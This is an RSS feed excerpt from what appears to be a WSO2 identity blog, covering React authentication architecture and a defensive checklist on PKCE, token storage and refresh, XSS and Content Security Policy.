<p>If you build software for businesses, you may need organizations or tenants, organization administrators, enterprise federation and different authentication policies for different customers.</p>
<p>You can build that model yourself, but if it is fundamental to the product it is useful when the identity platform already supports it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="can-you-extend-it">Can you extend it?<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#can-you-extend-it" class="hash-link" aria-label="Direct link to Can you extend it?" title="Direct link to Can you extend it?" translate="no">​</a></h3>
<p>Eventually you may need to call an external service during sign-in, add an additional verification step or change the information placed into a token.</p>
<p>The question is not whether the platform supports every future requirement today.</p>
<p>The more useful question is whether it gives you extension points when your requirement falls outside its default behaviour.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-happens-if-you-need-to-move">What happens if you need to move?<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#what-happens-if-you-need-to-move" class="hash-link" aria-label="Direct link to What happens if you need to move?" title="Direct link to What happens if you need to move?" translate="no">​</a></h3>
<p>Provider lock-in is not only about APIs.</p>
<p>Can you export users? What happens to password hashes? Can multi-factor authentication registrations move? What about passkeys? Can the old and new providers run in parallel during migration? How much of your React application depends on provider-specific SDKs or components?</p>
<p>The architecture decisions earlier in this guide determine how difficult most of those answers become.</p>
<p>WSO2 Identity Platform is worth evaluating in this context because it supports both managed and self-managed deployment models, including cases where identity needs to remain under your infrastructure control. It also supports organization-based B2B identity models and provides extension points for changing authentication behaviour without moving that logic back into the React application.</p>
<p>Whether those capabilities matter depends on the architecture you are building.</p>
<p>That is why the provider decision belongs at the end of this process rather than at the beginning.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-this-leaves-your-react-application">Where this leaves your React application<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#where-this-leaves-your-react-application" class="hash-link" aria-label="Direct link to Where this leaves your React application" title="Direct link to Where this leaves your React application" translate="no">​</a></h2>
<p>You may have started with a fairly ordinary requirement: add authentication to a React application.</p>
<p>But if you are responsible for the application architecture, the real job is deciding what React should own and what it should not.</p>
<p>Something outside the browser needs to own a trusted identity. You need to decide where tokens are handled and how much of that responsibility belongs in React. Your application then needs a deliberate integration boundary with the identity system, while the backend remains responsible for enforcing access to protected resources.</p>
<p>These decisions are much easier to make before the first authentication SDK becomes part of the application.</p>
<p>Once the boundaries are clear, the implementation becomes a much smaller problem.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[React Authentication Best Practices: The 2026 Checklist]]></title>
            <link>https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist</link>
            <guid>https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist</guid>
            <pubDate>Thu, 17 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[A practical checklist for React authentication: flows, token storage, session handling, XSS and CSRF defence, and the mistakes that ship most often.]]></description>
            <content:encoded><![CDATA[<p>A React application can have authentication working correctly and still have important security problems around it.</p>
<p>The login redirects correctly. The user comes back signed in. API calls succeed. Logout appears to work. From a functional point of view, everything looks fine.</p>
<p>The issues usually sit around those successful flows: where tokens are stored, what happens when they expire, whether the API actually enforces authorization, how browser-side attacks affect the session, and whether logout really ends what you think it ends.</p>
<p>In this post, I will go through one architecture decision and 19 things worth checking in a React application. Most of them can be verified using browser developer tools or a few direct API calls.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="start-with-the-architecture">Start with the architecture<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#start-with-the-architecture" class="hash-link" aria-label="Direct link to Start with the architecture" title="Direct link to Start with the architecture" translate="no">​</a></h2>
<p>Before looking at individual authentication settings, start with one question: <strong>where does authentication actually run in your application, and where do the tokens end up?</strong></p>
<p>For a React application, there are three common ways to build this.</p>
<ol>
<li class="">Your React app handles authentication and keeps the tokens in the browser.</li>
<li class="">Your backend handles the login flow, but React still receives an access token and calls APIs directly.</li>
<li class="">Your backend handles authentication and keeps all the tokens, so React never receives one.</li>
</ol>
<p>There is no single answer that fits every application. The important part is understanding what each option protects you from and what responsibility it adds.</p>
<p>One distinction is useful before going further: <strong>stealing a token and using an already authenticated browser are different problems.</strong></p>
<p>If an attacker steals a token, they can take that credential somewhere else and use it independently of your application.</p>
<p>If malicious JavaScript is already running inside your page, it may not need to steal anything. It can use the authenticated application while the user is still signed in.</p>
<p>Where you keep the token makes a big difference to the first problem. It does not automatically solve the second.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-1-react-holds-the-tokens">Option 1: React holds the tokens<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#option-1-react-holds-the-tokens" class="hash-link" aria-label="Direct link to Option 1: React holds the tokens" title="Direct link to Option 1: React holds the tokens" translate="no">​</a></h3>
<p>This is the model most React authentication tutorials start with.</p>
<p>Your application redirects the user to sign in, receives tokens after authentication, keeps them somewhere in the browser, and attaches the access token to API calls.</p>
<p>It is also the simplest option when you have no backend of your own.</p>
<p>The trade-off is that the authentication credentials are now part of the browser environment. If malicious JavaScript runs inside your application, it may be able to read the tokens, obtain new ones, or make authenticated API calls.</p>
<p>That does not mean this architecture is always wrong. It means that if you use it, decisions such as token storage, token lifetime, refresh-token rotation, and browser security become much more important.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-2-your-backend-handles-login-react-still-calls-the-apis">Option 2: Your backend handles login, React still calls the APIs<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#option-2-your-backend-handles-login-react-still-calls-the-apis" class="hash-link" aria-label="Direct link to Option 2: Your backend handles login, React still calls the APIs" title="Direct link to Option 2: Your backend handles login, React still calls the APIs" translate="no">​</a></h3>
<p>The next option is to move the login flow to your backend.</p>
<p>Instead of React exchanging the authorization code and holding the long-lived authentication state, your backend does that work. It can keep the refresh token on the server and give React only the access token it needs to call APIs.</p>
<p>This removes the longer-lived credential from the browser, which is a useful improvement.</p>
<p>However, React still receives an access token. If malicious JavaScript runs inside the page, that access token can still be exposed or used.</p>
<p>This can be a practical middle ground when you already have a backend but do not want every API request to go through it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-3-react-never-receives-a-token">Option 3: React never receives a token<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#option-3-react-never-receives-a-token" class="hash-link" aria-label="Direct link to Option 3: React never receives a token" title="Direct link to Option 3: React never receives a token" translate="no">​</a></h3>
<p>The third option is to keep all OAuth tokens on the backend.</p>
<p>React authenticates through your backend and receives a normal browser session, usually represented by a secure cookie. When the application needs data, it calls your backend, and the backend calls the API using the access token.</p>
<p>From the React application's point of view, there is no OAuth token to store or attach to requests.</p>
<p>This significantly reduces the risk of a token being extracted from frontend code because the token never reaches the frontend in the first place.</p>
<p>It does not solve every browser attack. If malicious JavaScript is running inside the application, it may still be able to make requests through the authenticated backend while the user's session is active.</p>
<p>There are also costs. Your backend is now in the request path, you have another component to operate on, and cookie-based sessions mean you need to think about CSRF protection as well.</p>
<p>For applications dealing with sensitive business or personal data, this is usually the option I would evaluate first.</p>
<p>If you use Next.js or another React framework with server-side capabilities, implementing this may be easier because you already have somewhere to run the backend part. A purely static deployment is different, so having a Next.js application does not automatically mean you already have this architecture.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="which-one-should-you-choose">Which one should you choose?<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#which-one-should-you-choose" class="hash-link" aria-label="Direct link to Which one should you choose?" title="Direct link to Which one should you choose?" translate="no">​</a></h3>
<p>If you have no backend, option 1 may be the practical choice. In that case, the rest of this checklist becomes particularly important.</p>
<p>If you already have a backend, option 2 removes some of the more sensitive authentication state from the browser without changing the application architecture too much.</p>
<p>If you want OAuth tokens completely outside the React application, option 3 provides the strongest separation, with the additional backend and session-management work that comes with it.</p>
<p>These three architectures are also described in the current OAuth guidance for browser-based applications, including <strong>RFC 10017, OAuth 2.0 for Browser-Based Applications</strong>. The terminology used there is <em>browser-based OAuth client</em>, <em>token-mediating backend</em>, and <em>Backend for Frontend (BFF)</em>.</p>
<p>For the rest of this article, I will mostly use the simpler application-level descriptions above and introduce protocol terminology only where it helps explain the problem.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-login-flow">The login flow<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#the-login-flow" class="hash-link" aria-label="Direct link to The login flow" title="Direct link to The login flow" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-make-sure-tokens-are-not-coming-back-in-the-url">1. Make sure tokens are not coming back in the URL<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#1-make-sure-tokens-are-not-coming-back-in-the-url" class="hash-link" aria-label="Direct link to 1. Make sure tokens are not coming back in the URL" title="Direct link to 1. Make sure tokens are not coming back in the URL" translate="no">​</a></h3>
<p>Sign in to your application and look at the URL you return to after login.</p>
<p>If you see something such as:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">access_token=...</span><br></span></code></pre></div></div>
<p>or:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">#access_token=...</span><br></span></code></pre></div></div>
<p>The application is likely using an older OAuth flow where the token is returned directly through the browser.</p>
<p>For modern React applications, the preferred model is <strong>Authorization Code flow with PKCE</strong>.</p>
<p>Instead of returning an access token in the URL, the login flow returns a short-lived authorization code. The application then exchanges that code for tokens separately.</p>
<p>PKCE adds another protection to this process. Your application creates a random value before starting login, sends a derived version with the login request, and must present the original value when exchanging the authorization code.</p>
<p>In other words, stealing the authorization code alone should not be enough to complete the flow.</p>
<p>Most modern authentication SDKs handle this for you.</p>
<p><strong>Verify:</strong> inspect the request that sends the browser to the login page. You should see:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">response_type=code</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">code_challenge=...</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">code_challenge_method=S256</span><br></span></code></pre></div></div>
<p>After login, the redirect URL should contain <code>code=</code>, not an access token.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-decoding-a-jwt-is-not-the-same-as-validating-it">2. Decoding a JWT is not the same as validating it<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#2-decoding-a-jwt-is-not-the-same-as-validating-it" class="hash-link" aria-label="Direct link to 2. Decoding a JWT is not the same as validating it" title="Direct link to 2. Decoding a JWT is not the same as validating it" translate="no">​</a></h3>
<p>React applications often use libraries such as <code>jwtDecode()</code> to read information from a token.</p>
<p>There is nothing wrong with decoding a token when you want to display something such as the user's name.</p>
<p>The problem starts when decoded data is treated as trusted simply because it came from a JWT.</p>
<p>A JWT is just an encoded structure until its security properties have been checked.</p>
<p>For an OpenID Connect ID token, your authentication library should verify things such as:</p>
<ul>
<li class="">who issued the token</li>
<li class="">whether it was issued for your application</li>
<li class="">whether it is still valid</li>
<li class="">whether the token has been changed</li>
<li class="">any login-specific values such as a nonce when one was used</li>
</ul>
<p>Most authentication SDKs already perform these checks.</p>
<p>The failure normally happens when application code separately decodes a token and then makes a security decision based on that decoded copy.</p>
<p><strong>Verify:</strong> search your codebase for direct JWT decoding. For each use, check whether it is only reading information from a token that has already been validated or whether it is deciding whether the user should be trusted.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-id-tokens-and-access-tokens-have-different-jobs">3. ID tokens and access tokens have different jobs<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#3-id-tokens-and-access-tokens-have-different-jobs" class="hash-link" aria-label="Direct link to 3. ID tokens and access tokens have different jobs" title="Direct link to 3. ID tokens and access tokens have different jobs" translate="no">​</a></h3>
<p>After login, you may receive both an <strong>ID token</strong> and an <strong>access token</strong>.</p>
<p>They may look similar, but they are not interchangeable.</p>
<p>The ID token is primarily about the authentication event and the signed-in user. Your React application may use information from it to understand who logged in.</p>
<p>The access token is the credential used to call an API.</p>
<p>One common mistake is sending the ID token to the API simply because it is already available in the authentication state.</p>
<p>That can appear to work if the API performs only limited validation, but it is not the intended use of the ID token.</p>
<p>Also, do not assume every access token is a JWT. Some identity providers issue opaque access tokens, where the client should not depend on the internal format at all.</p>
<p><strong>Verify:</strong> inspect the Authorization header being sent to your API:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Authorization: Bearer &lt;token&gt;</span><br></span></code></pre></div></div>
<p>Confirm that this is the access token intended for API access, not the ID token.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-avoid-hardcoding-every-authentication-endpoint">4. Avoid hardcoding every authentication endpoint<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#4-avoid-hardcoding-every-authentication-endpoint" class="hash-link" aria-label="Direct link to 4. Avoid hardcoding every authentication endpoint" title="Direct link to 4. Avoid hardcoding every authentication endpoint" translate="no">​</a></h3>
<p>An authentication setup normally needs several endpoints, such as where to start login and where to exchange an authorization code for tokens.</p>
<p>You could configure each endpoint separately, but most modern identity providers publish metadata that authentication libraries can discover.</p>
<p>In practice, you normally configure the identity provider or issuer and let the SDK discover the relevant endpoints.</p>
<p>This becomes particularly useful when you have development, staging, and production environments or when an identity provider rotates signing keys.</p>
<p><strong>Verify:</strong> search the codebase for:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">/authorize</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">/token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">.well-known</span><br></span></code></pre></div></div>
<p>and for hardcoded identity-provider hostnames.</p>
<p>A provider or issuer URL in environment configuration is normal. The same authentication endpoint repeated in several components usually deserves another look.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-check-your-redirect-urls-carefully">5. Check your redirect URLs carefully<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#5-check-your-redirect-urls-carefully" class="hash-link" aria-label="Direct link to 5. Check your redirect URLs carefully" title="Direct link to 5. Check your redirect URLs carefully" translate="no">​</a></h3>
<p>When authentication finishes, the identity provider sends the browser back to a URL registered for your application.</p>
<p>That URL needs to match what the application is actually sending.</p>
<p>Small differences matter:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">https://example.com/callback</span><br></span></code></pre></div></div>
<p>is not necessarily the same as:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">https://example.com/callback/</span><br></span></code></pre></div></div>
<p>The scheme, hostname, port, path, and trailing slash all matter.</p>
<p>Loose redirect matching would make it easier to send an authentication response somewhere you did not intend, which is why identity providers normally require exact registered URLs.</p>
<p>Production authentication traffic should also use HTTPS.</p>
<p><strong>Verify:</strong> compare the redirect URL configured in your React application with the value registered at the identity provider.</p>
<p>Do not compare them visually and assume they are the same. Compare the full value.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="token-storage-and-refresh">Token storage and refresh<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#token-storage-and-refresh" class="hash-link" aria-label="Direct link to Token storage and refresh" title="Direct link to Token storage and refresh" translate="no">​</a></h2>
<p>If your React application never receives OAuth tokens because you are using the backend model described earlier, much of this section becomes a backend concern.</p>
<p>If tokens do reach the browser, these decisions matter.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="6-know-where-your-tokens-are-stored">6. Know where your tokens are stored<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#6-know-where-your-tokens-are-stored" class="hash-link" aria-label="Direct link to 6. Know where your tokens are stored" title="Direct link to 6. Know where your tokens are stored" translate="no">​</a></h3>
<p>A lot of React examples contain something similar to:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token dom variable" style="color:rgb(201, 103, 101)">localStorage</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">setItem</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"token"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> token</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>It is convenient because the token survives page reloads.</p>
<p>The downside is equally simple: JavaScript running in your application's origin can also read it.</p>
<p>There are several common approaches: <code>localStorage</code> is easy to use and survives browser restarts, but is accessible to JavaScript running on the page. <code>sessionStorage</code> is also accessible to JavaScript, but normally limited to the lifetime of a browser tab. In-memory storage keeps the token only in application memory — it disappears when the page reloads, which reduces persistence but also means your authentication library needs another way to restore the session. A Web Worker can keep some authentication state outside the normal main-thread JavaScript environment, which can make direct token extraction harder — though it is not a complete solution to script injection: if malicious JavaScript is already running as part of your application, it may still be able to request authenticated operations even when it cannot directly read the token.</p>
<p>There is no storage option that makes browser security irrelevant.</p>
<p><strong>Verify:</strong> sign in and inspect:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Developer Tools → Application → Local Storage</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Developer Tools → Application → Session Storage</span><br></span></code></pre></div></div>
<p>Understand where your SDK keeps its authentication state rather than assuming the default is appropriate for your application.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="7-protect-refresh-tokens">7. Protect refresh tokens<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#7-protect-refresh-tokens" class="hash-link" aria-label="Direct link to 7. Protect refresh tokens" title="Direct link to 7. Protect refresh tokens" translate="no">​</a></h3>
<p>Access tokens should normally be relatively short-lived.</p>
<p>A refresh token has a different purpose. It allows the application to obtain new access tokens without asking the user to sign in every few minutes.</p>
<p>Because it can remain useful for much longer, stealing a refresh token can be more serious than stealing a short-lived access token.</p>
<p>If a refresh token is issued to a browser application, current security guidance requires additional protection. The most common approach is <strong>refresh-token rotation</strong>.</p>
<p>With rotation, using a refresh token produces a new refresh token and invalidates the old one:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Refresh token A</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">New access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Refresh token B</span><br></span></code></pre></div></div>
<p>The next refresh uses B and receives C.</p>
<p>If token A later appears again, the identity provider knows an already-used token has been presented and can react according to its security policy.</p>
<p>Another approach is sender-constrained refresh tokens, but rotation is the mechanism most React developers are likely to encounter.</p>
<p><strong>Verify:</strong> trigger two refreshes and compare the refresh token returned each time.</p>
<p>If your identity provider uses rotation, the value should change. You can also test what happens if an older refresh token is used again.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="8-keep-access-token-lifetimes-reasonably-short">8. Keep access-token lifetimes reasonably short<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#8-keep-access-token-lifetimes-reasonably-short" class="hash-link" aria-label="Direct link to 8. Keep access-token lifetimes reasonably short" title="Direct link to 8. Keep access-token lifetimes reasonably short" translate="no">​</a></h3>
<p>If somebody steals a bearer access token, its expiry time puts a natural limit on how long it remains useful.</p>
<p>For that reason, access tokens should normally live for a relatively short period compared with refresh tokens.</p>
<p>There is no universal value such as "15 minutes is correct for every application." The right value depends on the application, API, risk, and how refresh is implemented.</p>
<p>However, if your browser application receives access tokens that remain valid for many hours, I would want to understand why.</p>
<p><strong>Verify:</strong> if your access token is a JWT, decode it and compare <code>iat</code> and <code>exp</code>.</p>
<p>If it is an opaque token, check the configured token lifetime at your identity provider.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="9-make-sure-only-one-refresh-happens-at-a-time">9. Make sure only one refresh happens at a time<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#9-make-sure-only-one-refresh-happens-at-a-time" class="hash-link" aria-label="Direct link to 9. Make sure only one refresh happens at a time" title="Direct link to 9. Make sure only one refresh happens at a time" translate="no">​</a></h3>
<p>This is one of the more React-specific problems in the list.</p>
<p>Assume a user leaves the application open for some time and the access token expires.</p>
<p>They return to a dashboard and several components immediately make API calls:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Component A → API → 401</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Component B → API → 401</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Component C → API → 401</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Component D → API → 401</span><br></span></code></pre></div></div>
<p>If every API call independently decides to refresh the token, you may suddenly have four refresh requests using the same refresh token.</p>
<p>Now combine this with refresh-token rotation.</p>
<p>The first refresh succeeds and replaces the old refresh token.</p>
<p>The other refresh requests may now be using a token that has already been consumed. Depending on your identity provider's reuse-detection behavior, that can invalidate the session.</p>
<p>From the user's point of view, they were simply logged out for no obvious reason.</p>
<p>The common pattern is to allow only one refresh request at a time. Other API calls wait for the same refresh operation and retry after it completes.</p>
<p><strong>Verify:</strong> expire an access token and trigger several API calls simultaneously.</p>
<p>You should see one token refresh, followed by retries of the waiting API requests.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="browser-security">Browser security<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#browser-security" class="hash-link" aria-label="Direct link to Browser security" title="Direct link to Browser security" translate="no">​</a></h2>
<p>Moving tokens to a safer place reduces what malicious code can steal.</p>
<p>It does not mean malicious code running inside your page becomes harmless.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="10-treat-script-injection-as-part-of-authentication-security">10. Treat script injection as part of authentication security<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#10-treat-script-injection-as-part-of-authentication-security" class="hash-link" aria-label="Direct link to 10. Treat script injection as part of authentication security" title="Direct link to 10. Treat script injection as part of authentication security" translate="no">​</a></h3>
<p>If JavaScript is running inside your application's origin, the browser treats it as part of your application.</p>
<p>If your React code can read a token, malicious code may be able to read it too.</p>
<p>If you move the token into an HttpOnly cookie, the script can no longer directly read the cookie, which is useful.</p>
<p>But the browser still sends that cookie with authenticated requests.</p>
<p>So malicious code may be able to do this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Injected script</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">POST /account/change-email</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Browser automatically sends session cookie</span><br></span></code></pre></div></div>
<p>The attacker never sees the cookie.</p>
<p>The same principle applies to a BFF. Keeping OAuth tokens completely outside React reduces token theft, but malicious code running inside the page may still use the authenticated backend while the session is active.</p>
<p>This is why token storage and script injection need to be treated as related but separate problems.</p>
<p><strong>Verify:</strong> search the application for places where untrusted content can become markup or executable code.</p>
<p>Pay particular attention to: <code>dangerouslySetInnerHTML</code>, <code>eval</code>, dynamic script loading, direct DOM manipulation, and HTML returned from APIs or third parties.</p>
<p>Also run dependency scanning such as <code>npm audit</code>, but do not treat a clean dependency report as proof that the application cannot have an XSS problem.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="11-configure-a-content-security-policy">11. Configure a Content Security Policy<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#11-configure-a-content-security-policy" class="hash-link" aria-label="Direct link to 11. Configure a Content Security Policy" title="Direct link to 11. Configure a Content Security Policy" translate="no">​</a></h3>
<p>A <strong>Content Security Policy</strong>, usually called CSP, is a browser security mechanism that controls which scripts and other resources your page is allowed to execute.</p>
<p>The browser receives the policy in an HTTP response header.</p>
<p>For example, you can restrict scripts to ones that came from sources you explicitly trust.</p>
<p>A well-designed CSP does not replace secure coding, but it adds another layer. Some script-injection bugs that would otherwise become exploitable can be blocked by the browser.</p>
<p>Be careful with broad exceptions such as <code>unsafe-inline</code> and <code>unsafe-eval</code>.</p>
<p>Sometimes an application needs one of them for compatibility, but they should not be added simply because that makes CSP errors disappear.</p>
<p><strong>Verify:</strong> inspect your page's HTTP response headers and find <code>Content-Security-Policy</code>.</p>
<p>Check the <code>script-src</code> configuration and test your normal application journeys while watching the browser console for CSP violations.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="12-review-dangerouslysetinnerhtml">12. Review dangerouslySetInnerHTML<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#12-review-dangerouslysetinnerhtml" class="hash-link" aria-label="Direct link to 12. Review dangerouslySetInnerHTML" title="Direct link to 12. Review dangerouslySetInnerHTML" translate="no">​</a></h3>
<p>React normally escapes values inserted into JSX.</p>
<p>For example:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">div</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">comment</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">div</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><br></span></code></pre></div></div>
<p>does not simply treat whatever is inside <code>comment</code> as executable HTML.</p>
<p><code>dangerouslySetInnerHTML</code> deliberately bypasses that protection.</p>
<p>There are legitimate cases where an application needs to render HTML, such as content from a CMS. In those cases, untrusted HTML needs to be sanitized before it reaches the browser.</p>
<p>A maintained sanitizer such as DOMPurify is commonly used for this.</p>
<p><strong>Verify:</strong> search the project for <code>dangerouslySetInnerHTML</code>.</p>
<p>For every result, trace where the HTML came from.</p>
<p>Pay particular attention if it originates from user input, URL parameters, API responses containing user-generated content, CMS content, or third-party feeds.</p>
